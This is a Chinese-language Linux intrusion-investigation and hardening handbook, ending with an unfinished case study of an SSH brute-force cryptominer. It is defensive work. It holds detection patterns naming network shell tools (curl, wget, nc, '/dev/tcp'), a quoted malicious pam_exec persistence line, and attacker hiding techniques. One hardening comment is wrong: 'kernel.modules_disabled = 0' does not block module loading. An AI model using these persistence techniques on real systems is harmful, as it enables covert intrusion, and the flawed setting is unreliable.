Linux 服务器入侵排查手册

适用系统:Ubuntu 20.04+ / Debian 11+ / CentOS 7+
前置条件:root 权限

当怀疑服务器被入侵时,按以下章节顺序逐一排查。每步均给出可直接执行的命令正常输出对照,无需跳转查询。


1. 入侵迹象识别

排查目的: 在不惊动攻击者的情况下快速确认系统是否确实被入侵。

1.1 CPU 和负载异常

# 查看系统整体负载,关注 load average 是否显著超出 CPU 核心数
uptime
 
# 实时监控 CPU 占用,按 P 排序
top -bn1 | head -20
 
# 按 CPU 使用率降序列出进程
ps aux --sort=-%cpu | head -15

正常基线: load average 的三个值应接近 CPU 核心数;%CPU 超过 100% 的进程通常是挖矿程序。

可疑信号: 陌生进程名(如 xmrigkdevtmpfsi[kworkerds])持续占用高 CPU,且 /proc/<pid>/exe 指向 /tmp/dev/shm

1.2 内存异常

# 查看内存占用概况
free -h
 
# 按内存使用率降序列出进程
ps aux --sort=-%mem | head -15

1.3 网络流量异常

# 查看网络接口流量统计(对比日常基线)
ip -s link
 
# 查看所有 TCP 连接状态汇总
ss -s
 
# 列出所有已建立的连接
ss -antp state established

可疑信号: 大量 ESTABLISHED 连接到同一个陌生 IP 的同一端口;端口号为非标准服务端口(如 4444、8080、9999 等常见 C2 端口)。

1.4 登录时间线异常

# 查看最近 30 条登录记录
last -30
 
# 查看失败的登录尝试
lastb -30 2>/dev/null || journalctl -u ssh --no-pager | grep 'Failed password' | tail -30
 
# 查看当前在线用户及其 IP
who
w

可疑信号: 凌晨时段的 root 登录、来自境外 IP 的登录、同一用户在极短时间内从不同 IP 登录。

1.5 Shell 环境劫持识别

SSH 登录后发现 ls 没有颜色、常用别名(llla)丢失、文件”看不到”——这些是攻击者劫持 Shell 环境以隐藏恶意文件的典型信号。

环境被劫持的典型表现:

现象可能原因
ls 无颜色输出alias ls='ls'--color=never 被强制设置
ll 命令不存在别名被 unalias 移除
文件”看不见”LD_PRELOAD 劫持了 readdir()/getdents()
top 看不到某进程LD_PRELOAD 劫持了 /proc 读取函数

立即排查命令:

# 检查当前 shell 的所有别名
alias
 
# 检查是否设置了 LD_PRELOAD(最常见劫持手段)
env | grep -iE 'LD_PRELOAD|LD_LIBRARY_PATH'
 
# 检查 PROMPT_COMMAND 是否被注入恶意代码
echo "$PROMPT_COMMAND"
 
# 如果 env 不显示 LD_PRELOAD,直接检查 /proc
cat /proc/self/environ | tr '\0' '\n' | grep LD_PRELOAD

正常基线: alias ls='ls --color=auto'alias ll='ls -alF'LD_PRELOAD 为空。

遇到劫持时的自救:

# 启动一个干净的非交互 bash,绕过可能被污染的 rc 文件
/bin/bash --norc --noprofile
 
# 或使用 busybox(攻击者通常不会替换)
busybox ls -la /tmp/
busybox ps aux

劫持的来源排查(SSH 登录环境):

攻击者可能通过以下文件在 SSH 登录时注入环境变量或命令:

# 1. ~/.ssh/rc — SSH 登录后自动执行的脚本
cat ~/.ssh/rc 2>/dev/null
 
# 2. ~/.ssh/environment — SSH 登录时注入的环境变量
cat ~/.ssh/environment 2>/dev/null
 
# 3. 检查 sshd 是否允许用户自定义环境
grep 'PermitUserEnvironment' /etc/ssh/sshd_config
# 若输出 "PermitUserEnvironment yes" 且 ~/.ssh/environment 存在 — 已确认被利用

进阶排查:bash 初始化链完整性。 alias 为空、ls 无色的另一常见原因不是恶意劫持,而是 bash 初始化链被截断。Ubuntu 的 login shell 加载顺序为:

/etc/profile → ~/.bash_profile(优先)或 ~/.profile(fallback)→ ~/.bashrc

一旦 ~/.bash_profile 存在(哪怕只有一行),~/.profile 会被跳过。 如果 .bash_profile 不 source .bashrc,所有 alias 和 color 配置丢失。

# 诊断 bash 初始化链
echo "--- .bash_profile ---"; cat ~/.bash_profile 2>/dev/null || echo "不存在"
echo "--- .profile ---";       cat ~/.profile 2>/dev/null || echo "不存在"
echo "--- .bashrc 尾部 ---";   tail -5 ~/.bashrc 2>/dev/null
 
# 修复:在 .bash_profile 末尾追加 .bashrc 加载
echo 'if [ -f ~/.bashrc ]; then . ~/.bashrc; fi' >> ~/.bash_profile

2. 登录审计

排查目的: 确认攻击者通过 SSH 使用了哪些用户名、从哪些 IP 登录成功。

重要: 优先使用 journalctl 读取日志,因为 journald 将日志存储于二进制文件中(/var/log/journal/),攻击者更难清除或篡改;而 /var/log/auth.log 是纯文本文件,易被 echo "" > /var/log/auth.log 一键清空。

2.1 提取密码登录成功的记录

# 提取所有密码认证成功的用户名与源 IP,去重(-E 扩展正则,捕获组无需转义)
journalctl -u ssh --no-pager \
  | sed -En 's/.*Accepted password for (\S+) from (\S+).*/\1 \2/p' \
  | sort -u

正常基线: 只有你预期的用户名和 IP。

可疑信号: root 出现在列表中;来自不认识 IP 的登录;存在不认识用户名(如 admintestgitpostgres 等)。

2.2 按用户名统计独立 IP 数量

# 每个用户关联了多少不同 IP
journalctl -u ssh --no-pager \
  | sed -En 's/.*Accepted password for (\S+) from (\S+).*/\1 \2/p' \
  | sort -u \
  | awk '{cnt[$1]++} END {for(u in cnt) print cnt[u], u}' \
  | sort -rn

2.3 提取公钥认证登录记录

# 公钥登录也可能被利用(如果攻击者上传了自己的公钥)
journalctl -u ssh --no-pager \
  | sed -En 's/.*Accepted publickey for (\S+) from (\S+).*/\1 \2/p' \
  | sort -u

2.4 查看所有认证成功与失败的时序

# 按时间线混合排列,看爆破和成功的先后关系
journalctl -u ssh --no-pager \
  | grep -E 'Accepted (password|publickey)|Failed password' \
  | tail -100

解读: 如果在同一分钟内出现大量 Failed password 后紧跟 Accepted password,那就是典型的爆破成功。

2.5 如果 journalctl 日志已被清空

# 检查 journald 日志是否被手动清除
journalctl --verify
 
# 检查日志保留周期是否异常缩短
grep -E 'MaxFileSec|MaxRetentionSec|SystemMaxUse' /etc/systemd/journald.conf 2>/dev/null

journalctl --verify 输出中如果有 FAIL,说明二进制日志已被损坏或篡改。


3. 账号与权限审计

排查目的: 找出攻击者创建的后门账号或被篡改的权限配置。

3.1 审计 /etc/passwd 中的非预期用户

# 列出所有 UID ≥ 1000 的用户(正常用户范围)
awk -F: '($3>=1000){print $1, $3}' /etc/passwd
 
# 检查是否有 UID 0 的非 root 账号(隐藏超级用户)
awk -F: '($3==0){print $1, $3, $7}' /etc/passwd
 
# 查看所有能登录的用户(shell 不是 nologin 或 false)
awk -F: '($7!~/(nologin|false)$/){print $1, $3, $7}' /etc/passwd

正常基线: UID 0 应该只有 root 一行。

可疑信号: 出现了不认识的高 UID 用户,或 UID 0 不止 root 一个。

3.2 审计 /etc/shadow

# 查找空密码账户
awk -F: '($2==""){print $1}' /etc/shadow
 
# 查找无密码账户(!或*是合法的锁定状态,检查是否有异常)
awk -F: '($2!~/^[!*]/ && $2!=""){print $1, $2}' /etc/shadow | awk '{if(length($2)<13) print}' 

3.3 审计 sudoers

# 查看主配置文件
cat /etc/sudoers 2>/dev/null | grep -v '^#' | grep -v '^$'
 
# 查看 sudoers.d 下所有文件
find /etc/sudoers.d/ -type f -exec echo "--- {} ---" \; -exec grep -v '^#' {} \;
 
# 查看哪些用户拥有 sudo 权限(用 awk 替代 grep -P,避免 PCRE 依赖)
awk -F: '/^sudo:/{print $NF}' /etc/group

可疑信号: ALL=(ALL) NOPASSWD: ALL 出现在不认识的用户或组上。

3.4 审计 SSH authorized_keys

# 检查所有用户的 authorized_keys
for user_home in /home/* /root; do
    user=$(basename "$user_home")
    keyfile="$user_home/.ssh/authorized_keys"
    if [ -f "$keyfile" ]; then
        key_count=$(grep -c '^ssh-' "$keyfile")
        echo "[$user] $keyfile ($key_count keys)"
        grep '^ssh-' "$keyfile" | awk '{print $1, $3}'
    fi
done

正常基线: 每个 key 的 $3(comment 字段)是你认识的标识。

可疑信号: 出现了不认识的公钥;authorized_keys 文件的修改时间晚于你最后一次添加公钥的时间。

进阶检查: 攻击者常用 chattr +i 锁定 authorized_keys,使其无法被删除或覆盖,同时破坏 .ssh 目录的文件创建权限阻止 known_hosts 生成。若遇到 Operation not permitted 或无法创建文件,先查扩展属性:

# 查看所有文件的扩展属性(i = 不可变,a = 仅追加)
lsattr /root/.ssh/ /home/*/.ssh/ 2>/dev/null
 
# 移除不可变属性
chattr -i /root/.ssh/authorized_keys
chattr -i /root/.ssh/

3.5 检查 passwd 和 shadow 的修改时间

ls -la /etc/passwd /etc/shadow /etc/group /etc/gshadow /etc/sudoers

可疑信号: 修改时间与系统安装或合法配置变更时间不符。


4. 进程与网络排查

排查目的: 找出正在运行的恶意进程及其网络通信。

4.1 检查进程树

# 以树形结构查看所有进程,父进程为 1 的进程可能是守护进程或 orphan
ps auxf
 
# 查找进程名模仿系统进程的恶意程序(如 sshd 写成 sshhd、cron 写成 crond 等)
ps aux | grep -v grep | awk '{print $11}' | sort | uniq -c | sort -rn | head -20

正常基线: 关键系统进程应只有唯一实例,且来自标准路径。

可疑信号: 同名进程出现多个实例(如多个 sshd 但只有一个系统 sshd);进程名包含大小写混淆(SShdSSHd)。

高危模式:伪装内核线程的挖矿程序。 攻击者将恶意进程命名为与内核线程高度相似的名称以躲避排查:

伪装名模仿的内核线程辨别方法
kswapd00kswapd0真正的 kswapd0 PID 较小且 CPU 占用极低;名字多了个 0
kauditd0kauditd真正的 kauditd 几乎不占 CPU
kdevtmpfsikdevtmpfs尾部多了 i
[kworkerds][kworker/*]真正的 kworker 用方括号且名称格式为 kworker/uX:Y
# 快速比对:找出不是内核线程但名称可疑的进程
ps aux | grep -E 'kswapd|kauditd|kdevtmpfs|kworkerds' | grep -v 'grep'
 
# 确认是否真的是内核线程(内核线程的 PID 通常很小,且 /proc/<pid>/exe 不存在)
for name in kswapd0 kauditd kdevtmpfs; do
    pid=$(pgrep "$name" 2>/dev/null)
    if [ -n "$pid" ]; then
        for p in $pid; do
            exe=$(readlink /proc/$p/exe 2>/dev/null)
            echo "$name PID=$p EXE=${exe:-(无,内核线程)}"
        done
    fi
done

辨别真伪的关键: 真正的内核线程 /proc/<pid>/exe 不存在(readlink 返回空);伪装的挖矿程序 exe 会指向 /tmp/ 或隐藏目录下的可执行文件,且大量占用 CPU 核心。

4.2 检查被删除但仍在运行的进程

攻击者常运行恶意程序后删除文件,这样 ls 看不到但进程仍在跑。

# 列出所有 exe 指向 "(deleted)" 的进程
ls -la /proc/*/exe 2>/dev/null | grep deleted
 
# 更详细:显示 PID、comm、cmdline
for pid in $(ls /proc/ | grep -E '^[0-9]+$'); do
    exe=$(readlink /proc/$pid/exe 2>/dev/null)
    if echo "$exe" | grep -q 'deleted'; then
        cmdline=$(tr '\0' ' ' < /proc/$pid/cmdline 2>/dev/null)
        echo "PID=$pid CMD=$cmdline (exe deleted)"
    fi
done

4.3 审计网络连接

# 列出所有 LISTEN 端口
ss -tlnp
 
# 列出所有非本地连接的 ESTABLISHED 连接
ss -antp state established | grep -v '127.0.0.1'

可疑信号: LISTEN 0.0.0.0:4444 等非标准端口;进程名是 /tmp/ 下或隐藏目录的文件;大量连接到同一个外网 IP 的同一个端口。

4.4 检查进程的工作目录和完整命令行

# 对可疑 PID 执行
ls -la /proc/<PID>/cwd       # 工作目录
cat /proc/<PID>/cmdline      # 完整命令行(NUL 分隔)
cat /proc/<PID>/environ      # 环境变量(NUL 分隔)
cat /proc/<PID>/maps         # 内存映射(可能暴露加载的 .so)

4.5 检查内核模块

# 列出已加载的内核模块
lsmod
 
# 模块详情
modinfo <module_name>

可疑信号: 不认识的模块名、模块签名缺失(signer: 为空)、模块加载路径在 /tmp 下。


5. 持久化机制排查

排查目的: 找出攻击者为维持访问而设置的自动启动机制。

5.1 Cron 任务审计

# 系统级 crontab
cat /etc/crontab
 
# 所有用户的 crontab
for user in $(awk -F: '$7!~/(nologin|false)$/{print $1}' /etc/passwd); do
    cron=$(crontab -u "$user" -l 2>/dev/null)
    if [ -n "$cron" ]; then
        echo "=== $user ==="
        echo "$cron"
    fi
done
 
# cron 系统目录
ls -laR /etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/ /etc/cron.weekly/ /etc/cron.monthly/ 2>/dev/null
 
# systemd 定时器
systemctl list-timers --all --no-pager

可疑信号: 定时任务指向 /tmp//dev/shm//var/tmp/ 下的脚本;curlwget 往陌生 URL 下发命令的任务;每分钟执行的异常任务。

5.2 systemd service 审计

# 列出所有 enabled 的 service
systemctl list-unit-files --state=enabled --no-pager
 
# 检查 /etc/systemd/system/ 下非系统默认的 service 文件
ls -la /etc/systemd/system/multi-user.target.wants/
ls -la /etc/systemd/system/*.service
 
# 检查每个自定义 service 的内容
for svc in /etc/systemd/system/*.service; do
    if [ -f "$svc" ]; then
        echo "=== $svc ==="
        grep -E '^(ExecStart|ExecStartPre|ExecStartPost|ExecReload)=' "$svc"
    fi
done

可疑信号: ExecStart 指向奇怪路径;service 文件名仿冒系统服务(如 cron.service vs 系统的 cron.service)。

5.3 Shell 启动文件

# 检查所有用户的 rc/profile/bashrc
for user_home in /home/* /root; do
    for rc in .bashrc .profile .bash_profile .zshrc; do
        f="$user_home/$rc"
        if [ -f "$f" ]; then
            suspicious=$(grep -n -E '(curl|wget|nc|bash -i|/dev/tcp)' "$f" 2>/dev/null)
            if [ -n "$suspicious" ]; then
                echo "=== SUSPICIOUS: $f ==="
                echo "$suspicious"
            fi
        fi
    done
done
 
# 全局 profile
cat /etc/profile /etc/bash.bashrc 2>/dev/null | grep -v '^#' | grep -v '^$'

5.4 LD_PRELOAD 劫持

# 检查是否被设置
cat /etc/ld.so.preload 2>/dev/null
 
# 检查当前 shell 环境
env | grep LD_PRELOAD
 
# 检查所有内核模块是否有钩子
cat /proc/sys/kernel/tainted

正常基线: /etc/ld.so.preload 不存在或为空;LD_PRELOAD 环境变量未设置;tainted 值为 0。

可疑信号: ld.so.preload 指向 /tmp/ 下的 .so 文件(用于劫持 libc 函数如 readdiropen 等,隐藏进程和文件)。

5.5 SSH rc 与环境变量注入

攻击者在获得 root 权限后,常利用 ~/.ssh/rc~/.ssh/environment 在每次 SSH 登录时重新加载恶意环境。

# 检查 SSH rc 文件(每次 SSH 登录时自动执行)
cat ~/.ssh/rc 2>/dev/null
for h in /home/*; do
    [ -f "$h/.ssh/rc" ] && echo "=== $h/.ssh/rc ===" && cat "$h/.ssh/rc"
done
 
# 检查 SSH environment 文件(注入环境变量如 LD_PRELOAD)
cat ~/.ssh/environment 2>/dev/null
for h in /home/*; do
    [ -f "$h/.ssh/environment" ] && echo "=== $h/.ssh/environment ===" && cat "$h/.ssh/environment"
done
 
# 确认 sshd 是否开启了 PermitUserEnvironment(攻击者利用的前提)
grep '^PermitUserEnvironment' /etc/ssh/sshd_config

正常基线: ~/.ssh/rc~/.ssh/environment 通常不存在;PermitUserEnvironment 默认 no

可疑信号: rc 中包含 export LD_PRELOAD=...environment 中设置了指向 /tmp/.so 文件的变量;PermitUserEnvironment 被改为 yes

5.6 PAM session 钩子检测

攻击者获取 root 后,常在 /etc/pam.d/sshd 的 session 阶段植入 pam_exec.so,使每次 SSH 登录都执行恶意程序——这是比 ~/.ssh/rc 更隐蔽的持久化,因为它对用户完全透明。

# 搜索所有 PAM session 阶段中调用的外部程序
grep -n 'pam_exec' /etc/pam.d/sshd
 
# 搜索 PAM 配置中所有执行的外部命令/脚本
grep -rn 'pam_exec\|/usr/bin\|/bin/' /etc/pam.d/sshd | grep -v '^#'
 
# 检查 user_readenv 是否开启(读取 ~/.pam_environment)
grep 'user_readenv' /etc/pam.d/sshd

排查清单:

排查项命令攻击者的利用方式
PAM 中的外部执行grep -rn 'pam_exec' /etc/pam.d/植入 /usr/bin/xxx 在每次登录/注销时执行
~/.pam_environmentcat ~/.pam_environment配合 user_readenv=1 注入环境变量
PAM sshd session 栈完整性grep '^session' /etc/pam.d/sshd对比同版本 Ubuntu 默认配置找差异行
全局 PAM common 文件md5sum /etc/pam.d/common-* 与正常机器对比通过 @include common-session 间接植入

真实案例中的攻击样本(已脱敏):

session optional pam_exec.so quiet /usr/bin/watching

/usr/bin/watching 是一个 990KB 的静态编译 ELF,内嵌 glibc 并引用了 LD_PRELOAD/proc/self/mapsexecve 等关键接口。它在 PAM session 阶段执行,可对当前 shell 进程注入代码。

修复:

# 从 PAM sshd 中移除恶意行
sed -i '/\/usr\/bin\/watching/d' /etc/pam.d/sshd
# 删除恶意二进制
rm -f /usr/bin/watching
# 确认清理
grep -n 'watching' /etc/pam.d/sshd   # 应无输出

6. 文件与隐藏目录

排查目的: 找出攻击者留在文件系统上的后门、脚本和隐藏目录。

6.1 查找近期修改/创建的可执行文件

# 近 7 天修改过的文件(排除 /proc 和 /sys)
find / -path /proc -prune -o -path /sys -prune -o -type f -mtime -7 -ls 2>/dev/null | head -50
 
# 近 1 天内创建的新文件
find / -path /proc -prune -o -path /sys -prune -o -type f -ctime -1 -ls 2>/dev/null | head -50
 
# 关键目录:/bin /sbin /usr/bin /usr/sbin /usr/local/bin 中近期修改的文件
find /bin /sbin /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin -type f -mtime -7 -ls 2>/dev/null

6.2 查找世界可写的可执行文件

# 全局可写的 ELF 文件
find / -path /proc -prune -o -path /sys -prune -o -type f -perm -o+w -exec file {} \; 2>/dev/null | grep ELF
 
# 全局可写的脚本
find / -path /proc -prune -o -path /sys -prune -o -type f -perm -o+w -name '*.sh' 2>/dev/null
find /etc/cron.d -type f -perm -o+w 2>/dev/null

6.3 查找伪隐藏目录

攻击者常用「点+空格」命名的目录伪装隐藏(如 .. 即两个点加空格,在 ls 输出中不易发现)。

# 查找以 .. 开头的目录(包括 .. 加空格)
find / -maxdepth 3 -type d -name '.. *' -o -name '..' -o -name '...*' 2>/dev/null
 
# 查找 . 开头且名称中带空格的可疑目录
find /tmp /var/tmp /dev/shm -maxdepth 2 -type d -name '.*' 2>/dev/null

6.4 排查临时目录中的可执行文件

# /tmp、/dev/shm、/var/tmp 中的可执行文件
find /tmp /dev/shm /var/tmp -type f -executable 2>/dev/null
 
# 在这些目录中运行的无主进程
for pid in $(ls /proc/ | grep -E '^[0-9]+$'); do
    cwd=$(readlink /proc/$pid/cwd 2>/dev/null)
    case "$cwd" in
        /tmp*|/dev/shm*|/var/tmp*)
            cmdline=$(tr '\0' ' ' < /proc/$pid/cmdline 2>/dev/null)
            echo "PID=$pid CWD=$cwd CMD=$cmdline"
            ;;
    esac
done

6.5 SUID/SGID 文件审计

# 列出所有 SUID 文件
find / -path /proc -prune -o -type f -perm -4000 -ls 2>/dev/null
 
# 列出所有 SGID 文件
find / -path /proc -prune -o -type f -perm -2000 -ls 2>/dev/null

可疑信号: 非系统标准路径下的 SUID 二进制(如 /tmp/su/var/tmp/bash)、攻击者自制的 SUID shell。

6.6 chattr +i 文件锁检测

攻击者获取 root 权限后,常用 chattr +i 将关键文件设为不可变(immutable),防止被删除或覆盖,同时破坏目录的文件创建能力(如阻止 known_hosts 生成,导致每次 SSH 都出现指纹提示)。这是”占坑锁死”战术。

# 检查 .ssh 目录及其子文件的扩展属性
lsattr /root/.ssh/ /home/*/.ssh/ 2>/dev/null
 
# 全系统搜索设置了 +i 或 +a 属性的文件
find / -path /proc -prune -o -path /sys -prune -o -type f -exec lsattr {} \; 2>/dev/null | grep -E '^.{4}i'

属性标记解读:

标记含义攻击者的目的
i不可变(immutable),连 root 也不能删除/修改/重命名锁死 authorized_keys.ssh 目录
a仅追加(append-only),只能追加内容不能删除保护日志不被清空的同时阻止管理操作
ia同时设置不可变+仅追加,双锁组合chattr -i 单独解都不行,必须 chattr -ia 一起解

解锁:

chattr -ia /root/.ssh/authorized_keys
chattr -ia /root/.ssh/

常见被锁目标: /root/.ssh/authorized_keys/root/.ssh/(整个目录)、~/.bash_history(阻止记录操作)。

注意: 攻击者也可能在 /etc//usr/bin/ 等关键路径设置 +i,阻止你替换被感染的二进制文件。


7. Rootkit 检测

排查目的: 检测内核级或用户级 rootkit 是否存在。

7.1 rkhunter

# 安装(Ubuntu/Debian)
apt install rkhunter -y
 
# 更新特征库
rkhunter --update
 
# 运行全量扫描(--sk 跳过按键确认)
rkhunter --check --sk
 
# 查看报告
cat /var/log/rkhunter.log

重点关注 Warning 行,特别是文件属性变更、隐藏文件和可疑字符串。

7.2 chkrootkit

# 安装
apt install chkrootkit -y
 
# 运行扫描
chkrootkit | grep -E 'INFECTED|suspicious|not found|Warning'

7.3 Diamond 式 rootkit 检测(proc vs ps 对比)

许多 rootkit 通过 hook 系统调用来隐藏进程。直接读 /proc 可绕过 hook:

# 列出 /proc 中所有 PID(这是真实的进程表)
ls /proc/ | grep -E '^[0-9]+$' | sort -n > /tmp/proc_pids.txt
 
# 列出 ps 看到的所有 PID
ps -eo pid | tail -n +2 | sort -n > /tmp/ps_pids.txt
 
# 比较差异:ps 中不存在但 /proc 中存在的 PID 就是被隐藏的进程
diff /tmp/ps_pids.txt /tmp/proc_pids.txt

7.4 校验系统二进制完整性(仅 Debian/Ubuntu 系)

# 安装 debsums
apt install debsums -y
 
# 校验所有已安装包的二进制(仅报告变更)
debsums -c 2>&1 | grep -v 'OK$'

可疑信号: 核心命令(lspsssnetstattop)校验失败,说明已被替换。

7.5 内核 taint 检查

# 检查内核是否被污染(加载了非 GPL 模块等)
cat /proc/sys/kernel/tainted
 
# 解码 taint 值
# 0 = 干净
# 1 = 专有模块加载
# 4096 = 内核崩溃后未正确处理

8. 日志审计与异常

排查目的: 判断日志是否被篡改或清空,获取未被删除的操作痕迹。

8.1 检查日志时间空洞

# 检查 auth.log / syslog 最后一行的时间戳是否与当前时间差距过大
tail -1 /var/log/auth.log 2>/dev/null
tail -1 /var/log/syslog 2>/dev/null
 
# 查看 syslog 是否在某个时间点之后为空(被 echo 清空)
wc -l /var/log/syslog /var/log/auth.log /var/log/kern.log 2>/dev/null
 
# journalctl 检查日志覆盖范围
journalctl --no-pager --lines=1           # 最近一条
journalctl --no-pager --reverse --lines=1  # 最旧一条

可疑信号: /var/log/auth.log 只有几百字节或从某个时间点开始全无记录;journalctl 没有早于今天的数据。

8.2 校验 journald 日志完整性

journalctl --verify

正常输出: 所有条目均为 PASS

可疑输出: 出现 FAILData object references invalid entry,说明日志被破坏。

8.3 .bash_history 完整性

# 检查各用户 history
for user_home in /home/* /root; do
    hist="$user_home/.bash_history"
    if [ -f "$hist" ]; then
        echo "=== $hist ==="
        echo "  Size: $(wc -l < "$hist") lines, $(stat --format=%s "$hist" 2>/dev/null || stat -c%s "$hist") bytes"
        echo "  Last 10:"
        tail -10 "$hist"
    fi
done

可疑信号: root.bash_history 为空或只有几行;是否被软链接到 /dev/null

ls -la /root/.bash_history /home/*/.bash_history
# 如果显示为 /dev/null → .bash_history → /dev/null,说明攻击者禁用了历史记录

8.4 检查日志发送配置是否被篡改

# rsyslog 配置是否把 auth 日志发送到了别处
grep -r 'auth' /etc/rsyslog.conf /etc/rsyslog.d/ 2>/dev/null | grep -v '^#'
 
# 检查是否安装/运行了 syslog-ng 等可能被修改的日志服务
systemctl list-units --type=service --state=running --no-pager | grep -iE 'syslog|rsyslog|journal'

9. 应急处置与溯源优先级

排查目的: 确认被入侵后,按正确顺序行动,避免误操作导致证据丢失或触发攻击者的反制手段。

9.1 处置决策树

确认被入侵
    │
    ├─ 保留现场模式 → 用于司法取证 / 深入了解攻击手法
    │   ├─ 不断网
    │   ├─ 不重启、不关机
    │   ├─ 不删除任何文件
    │   ├─ 优先采集 volatile 数据(见 9.2)
    │   └─ 取证后用新机器替换
    │
    ├─ 隔离模式 → 阻止横向移动,保留当前状态
    │   ├─ iptables 封禁所有出站连接(保留 SSH 管理端口除外)
    │   ├─ 通知相关人员
    │   └─ 开始排查(执行第 1-8 章)
    │
    └─ 紧急切断模式 → 立即阻止持续损害
        ├─ 拔网线 / 控制台关闭网卡
        ├─ 或物理关机
        └─ 从只读介质(LiveCD)启动后获取硬盘内容

9.2 取证采集优先级

按数据易失性排序(从最易失到最稳定):

优先级数据类型采集命令
1内存dd if=/dev/fmem of=/secure/mem.ddLiME 模块采集
2网络连接状态ss -antp > /secure/net.txtarp -a > /secure/arp.txt
3进程信息ps auxf > /secure/ps.txtls -laR /proc > /secure/proc.txt
4内核和模块lsmod > /secure/lsmod.txtcat /proc/sys/kernel/tainted
5登录会话who -a > /secure/who.txtlast > /secure/last.txt
6文件系统时间戳find / -ls > /secure/find_ls.txt
7日志journalctl --no-pager > /secure/journal.txt、复制 /var/log/*
# 一键采集 volatile 数据脚本框架
timestamp=$(date +%Y%m%d_%H%M%S)
outdir="/root/forensics_$timestamp"
mkdir -p "$outdir"
 
date > "$outdir/00_timestamp.txt"
ps auxf > "$outdir/01_ps.txt"
ss -antp > "$outdir/02_net.txt"
who -a > "$outdir/03_who.txt"
last -100 > "$outdir/04_last.txt"
lsmod > "$outdir/05_lsmod.txt"
journalctl --no-pager > "$outdir/06_journal.txt" 2>/dev/null
mount > "$outdir/07_mount.txt"

9.3 攻击者共存时的隐蔽排查

如果担心攻击者正在终端上监视,使用以下技巧降低暴露风险:

# 使用 busybox 替代被替换的工具
busybox ps
busybox netstat -antp
busybox cat /proc/1/cmdline
 
# 命令行中不显示敏感关键词
echo -e '#!/bin/bash\nps auxf' > /tmp/x && chmod +x /tmp/x && /tmp/x
 
# 将输出静默写入文件而非终端
ps auxf > /tmp/.res 2>&1; scp /tmp/.res user@safehost:

10. 加固检查清单

排查目的: 处理完入侵后的安全加固,防止二次沦陷。

10.1 SSH 加固

# /etc/ssh/sshd_config 核心加固项
PasswordAuthentication no      # 禁用密码登录
PermitRootLogin no             # 禁用 root 直接 SSH 登录
PubkeyAuthentication yes       # 仅允许公钥认证
Protocol 2                     # 仅使用 SSH 协议 2
MaxAuthTries 3                 # 单连接最多认证尝试次数
ClientAliveInterval 300        # 空闲超时断开
ClientAliveCountMax 0          
AllowUsers your_username       # 白名单:仅允许指定用户登录

修改后:

sshd -t && systemctl restart sshd

10.2 fail2ban

# 安装
apt install fail2ban -y
 
# 基本 SSH jail 配置 /etc/fail2ban/jail.local
cat > /etc/fail2ban/jail.local << 'EOF'
[sshd]
enabled = true
port = ssh
filter = sshd
logpath = %(sshd_log)s
maxretry = 3
findtime = 10m
bantime = 1h
EOF
 
systemctl restart fail2ban
fail2ban-client status sshd

10.3 内核参数加固

# /etc/sysctl.d/99-security.conf
cat > /etc/sysctl.d/99-security.conf << 'EOF'
# 防止 SYN Flood
net.ipv4.tcp_syncookies = 1
# 关闭 IP 源路由
net.ipv4.conf.all.accept_source_route = 0
net.ipv6.conf.all.accept_source_route = 0
# 开启反向路径过滤(防 IP 欺骗)
net.ipv4.conf.all.rp_filter = 1
net.ipv4.conf.default.rp_filter = 1
# 不响应 ICMP 重定向
net.ipv4.conf.all.accept_redirects = 0
net.ipv6.conf.all.accept_redirects = 0
# 不发送 ICMP 重定向
net.ipv4.conf.all.send_redirects = 0
# 忽略 ICMP 广播请求
net.ipv4.icmp_echo_ignore_broadcasts = 1
# 记录 martian 包(异常源地址包)
net.ipv4.conf.all.log_martians = 1
# 禁止非 GPL 内核模块加载
kernel.modules_disabled = 0
EOF
 
sysctl -p /etc/sysctl.d/99-security.conf

10.4 防火墙基线

# ufw 最小化规则示例
ufw default deny incoming
ufw default allow outgoing
ufw allow 22/tcp comment 'SSH'          # 仅允许你的管理端口
# ufw allow 80/tcp comment 'HTTP'       # 按需开放
# ufw allow 443/tcp comment 'HTTPS'
ufw enable
ufw status verbose

10.5 定期自查脚本

cat > /root/security_check.sh << 'EOF'
#!/bin/bash
{
    echo "=== $(date) ==="
    echo "--- Users with UID 0 ---"
    awk -F: '$3==0 {print $1}' /etc/passwd
    echo "--- Recently modified binaries ---"
    find /bin /sbin /usr/bin /usr/sbin -type f -mtime -1 -ls 2>/dev/null
    echo "--- Suspicious crontabs ---"
    grep -rE "curl|wget|/tmp|/dev/shm" /var/spool/cron/crontabs/ /etc/crontab /etc/cron.*/ 2>/dev/null
    echo "--- Listening ports ---"
    ss -tlnp
    echo "--- /tmp executables ---"
    find /tmp -type f -executable 2>/dev/null
    echo "--- Unauthorized SSH keys ---"
    find /home /root -name authorized_keys -exec ls -la {} \; 2>/dev/null
    echo "--- Immutable files (chattr +i) ---"
    lsattr /root/.ssh/ /home/*/.ssh/ 2>/dev/null | grep -E '^.{4}i'
    find /etc/ssh -type f -exec lsattr {} \; 2>/dev/null | grep -E '^.{4}i'
    echo "=== END ==="
} >> /var/log/security_check.log 2>&1
EOF
 
chmod +x /root/security_check.sh
 
# 配置每天凌晨 3 点自动执行
(crontab -l 2>/dev/null; echo "0 3 * * * /root/security_check.sh") | crontab -

11. 真实案例:SSH 爆破 → Crypto Miner 全链路

以下内容脱敏自生产环境真实入侵事件,攻击者通过 SSH 密码爆破获得 root 权限后部署挖矿木马,并实施多层反侦察手段。

11.1 攻击链路总览

SSH 端口暴露 → 密码爆破 → root 登录成功
    → 上传 Miner 二进制(~/.configrc7/a/kswapd00、/tmp/.kswapd00)
    → 部署持久化(crontab + @reboot + .ssh/rc)
    → 隐藏痕迹(LD_PRELOAD 劫持 + chattr +i 锁文件 + 伪装内核线程名)

11.2 第一阶段:爆破登录

攻击者从多个 IP 对 root 账号发动密码爆破,历史日志显示连续爆破后多次 Accepted password for root 成功:

# 提取入侵期间所有成功登录的 IP
journalctl -u ssh --no-pager \
  | sed -En 's/.*Accepted password for (\S+) from (\S+).*/\1 \2/p' \
  | sort -u

输出看到 root 对应了 7 个不同 IP:58.213.84.194117.89.134.58180.98.144.80180.111.229.146183.209.135.173223.104.104.481.203.166.134

教训: root + 密码 + 22 端口暴露,必然被爆。正确的做法是强制公钥登录、禁用 root 登录、配合 fail2ban。

11.3 第二阶段:环境劫持(反侦察)

登录后第一时间感到异常:ls 没有颜色、ll 命令不存在、ls 看不到恶意文件。

